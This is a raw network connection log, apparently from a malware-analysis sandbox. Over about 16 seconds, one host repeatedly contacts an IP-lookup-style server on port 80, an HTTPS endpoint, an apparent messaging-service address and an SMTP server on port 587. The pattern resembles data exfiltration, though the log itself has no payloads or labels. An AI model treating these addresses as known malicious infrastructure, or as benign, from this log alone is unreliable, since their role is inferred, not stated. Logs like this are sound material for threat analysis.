                                                                                                                                                                    Jan 2, 2025 16:05:39.167135954 CET4975380192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:39.167212963 CET4975380192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:39.171981096 CET8049753193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.621822119 CET44349752188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.623343945 CET49752443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:39.623377085 CET44349752188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.633395910 CET8049753193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.634618044 CET49754443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:39.634649038 CET44349754188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.634732962 CET49754443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:39.635026932 CET49754443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:39.635039091 CET44349754188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.677572966 CET4975380192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:39.776638985 CET44349752188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.776699066 CET44349752188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.776757002 CET49752443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:39.777179003 CET49752443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:39.780411959 CET4975080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:39.781516075 CET4975580192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:39.785444021 CET8049750193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.785518885 CET4975080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:39.786329985 CET8049755193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:39.786418915 CET4975580192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:39.786648989 CET4975580192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:39.791409016 CET8049755193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.097131968 CET44349754188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.099873066 CET49754443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.099905014 CET44349754188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.253823996 CET44349754188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.253895044 CET44349754188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.253951073 CET49754443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.254460096 CET49754443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.258666039 CET4975380192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:40.259419918 CET4975680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:40.263672113 CET8049753193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.263724089 CET4975380192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:40.264219046 CET8049756193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.264290094 CET4975680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:40.264377117 CET4975680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:40.269186974 CET8049756193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.720549107 CET8049756193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.721898079 CET49757443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.721939087 CET44349757188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.722006083 CET49757443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.722238064 CET49757443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.722254992 CET44349757188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.771264076 CET4975680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:40.994121075 CET8049755193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.995377064 CET49758443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.995423079 CET44349758188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:40.995507002 CET49758443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.995769978 CET49758443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:40.995783091 CET44349758188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.036998034 CET4975580192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.392543077 CET44349757188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.394241095 CET49757443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:41.394263983 CET44349757188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.548564911 CET44349757188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.548619032 CET44349757188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.548784018 CET49757443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:41.549156904 CET49757443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:41.552330971 CET4975680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.553396940 CET4975980192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.557446957 CET8049756193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.557522058 CET4975680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.558216095 CET8049759193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.558300972 CET4975980192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.558399916 CET4975980192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.563148975 CET8049759193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.566709995 CET44349758188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.568306923 CET49758443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:41.568325043 CET44349758188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.816869020 CET44349758188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.816931009 CET44349758188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.817255974 CET49758443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:41.817416906 CET49758443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:41.821940899 CET4976080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.826802969 CET8049760193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:41.826900959 CET4976080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.826998949 CET4976080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:41.831698895 CET8049760193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:42.905512094 CET8049759193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:42.906918049 CET49761443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:42.906958103 CET44349761188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:42.907159090 CET49761443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:42.907277107 CET49761443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:42.907284021 CET44349761188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:42.958863020 CET4975980192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:43.373022079 CET44349761188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:43.374639034 CET49761443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:43.374670982 CET44349761188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:43.529825926 CET44349761188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:43.529877901 CET44349761188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:43.530026913 CET49761443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:43.530288935 CET49761443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:43.533093929 CET4975980192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:43.534107924 CET4976280192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:43.538017988 CET8049759193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:43.538083076 CET4975980192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:43.538870096 CET8049762193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:43.538938046 CET4976280192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:43.539006948 CET4976280192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:43.543732882 CET8049762193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:44.826647043 CET8049762193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:44.827852011 CET49763443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:44.827893019 CET44349763188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:44.827963114 CET49763443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:44.828195095 CET49763443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:44.828207970 CET44349763188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:44.880686998 CET4976280192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.110498905 CET8049760193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.111749887 CET49764443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.111804008 CET44349764188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.111882925 CET49764443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.112138033 CET49764443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.112155914 CET44349764188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.161909103 CET4976080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.291943073 CET44349763188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.293546915 CET49763443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.293569088 CET44349763188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.465284109 CET44349763188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.465327978 CET44349763188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.465399981 CET49763443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.465792894 CET49763443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.505567074 CET4976280192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.510623932 CET8049762193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.510668039 CET4976280192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.513365030 CET49765443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:45.513395071 CET44349765149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.513449907 CET49765443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:45.513792992 CET49765443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:45.513804913 CET44349765149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.575695038 CET44349764188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.577095985 CET49764443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.577126980 CET44349764188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.713284016 CET44349764188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.713329077 CET44349764188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.713419914 CET49764443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.713664055 CET49764443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:45.716401100 CET4976080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.717261076 CET4976680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.721323967 CET8049760193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.721388102 CET4976080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.722064018 CET8049766193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.722126007 CET4976680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.722193003 CET4976680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:45.726926088 CET8049766193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.125576973 CET44349765149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.125785112 CET49765443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:46.127404928 CET49765443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:46.127413034 CET44349765149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.127613068 CET44349765149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.128942013 CET49765443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:46.175343037 CET44349765149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.207492113 CET8049766193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.208441973 CET49767443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:46.208462000 CET44349767188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.208522081 CET49767443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:46.208733082 CET49767443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:46.208744049 CET44349767188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.255681038 CET4976680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:46.371984005 CET44349765149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.372037888 CET44349765149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.372194052 CET49765443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:46.424344063 CET49765443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:46.663480997 CET44349767188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.692720890 CET49767443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:46.692735910 CET44349767188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.962737083 CET44349767188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.962790012 CET44349767188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.962842941 CET49767443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:46.963306904 CET49767443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:46.967204094 CET4976680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:46.968288898 CET4976880192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:46.972141981 CET8049766193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.972189903 CET4976680192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:46.973105907 CET8049768193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:46.973171949 CET4976880192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:46.973227024 CET4976880192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:46.978014946 CET8049768193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:47.776566029 CET8049768193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:47.777909040 CET49769443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:47.777971983 CET44349769188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:47.778057098 CET49769443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:47.778325081 CET49769443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:47.778347015 CET44349769188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:47.818186998 CET4976880192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:48.279392958 CET44349769188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:48.281630039 CET49769443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:48.281666040 CET44349769188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:48.415193081 CET44349769188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:48.415241957 CET44349769188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:48.415326118 CET49769443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:48.415687084 CET49769443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:48.418606997 CET4976880192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:48.419583082 CET4977080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:48.423574924 CET8049768193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:48.424252033 CET4976880192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:48.424439907 CET8049770193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:48.424495935 CET4977080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:48.424592018 CET4977080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:48.429358006 CET8049770193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.029989004 CET8049770193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.033416986 CET49771443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:51.033535957 CET44349771188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.033612967 CET49771443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:51.034017086 CET49771443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:51.034051895 CET44349771188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.083821058 CET4977080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:51.488970041 CET44349771188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.490704060 CET49771443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:51.490776062 CET44349771188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.635354042 CET44349771188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.635426998 CET44349771188.114.97.3192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.635485888 CET49771443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:51.635951042 CET49771443192.168.2.4188.114.97.3
                                                                                                                                                                    Jan 2, 2025 16:05:51.650685072 CET4977080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:51.651357889 CET49772443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:51.651397943 CET44349772149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.651473045 CET49772443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:51.651853085 CET49772443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:51.651863098 CET44349772149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.655690908 CET8049770193.122.130.0192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:51.655741930 CET4977080192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:52.277256012 CET44349772149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:52.277331114 CET49772443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:52.278789997 CET49772443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:52.278800011 CET44349772149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:52.279030085 CET44349772149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:52.280353069 CET49772443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:52.327328920 CET44349772149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:52.467556953 CET4974380192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:52.527390957 CET44349772149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:52.527466059 CET44349772149.154.167.220192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:52.527648926 CET49772443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:52.527970076 CET49772443192.168.2.4149.154.167.220
                                                                                                                                                                    Jan 2, 2025 16:05:53.017826080 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:53.024605036 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:53.024683952 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:53.565320015 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:53.565547943 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:53.570322037 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:53.717077017 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:53.717415094 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:53.722191095 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:53.873588085 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:53.878388882 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:53.883233070 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.034506083 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.034526110 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.034535885 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.034540892 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.034549952 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.034560919 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.034691095 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.034691095 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.058670044 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.063416004 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.208944082 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.213531017 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.219924927 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.363046885 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.374795914 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.379590034 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.521825075 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.524745941 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.529592037 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.673729897 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.674134016 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.679141045 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.820774078 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.821018934 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.826199055 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.968955994 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:54.969188929 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:54.973975897 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.117810011 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.118010998 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:55.122800112 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.268812895 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.269074917 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:55.273866892 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.441719055 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.446985006 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:55.447107077 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:55.447293043 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:55.447336912 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:55.447379112 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:55.639565945 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.639578104 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.639588118 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.639595985 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.639605045 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.639612913 CET58749773208.91.198.176192.168.2.4
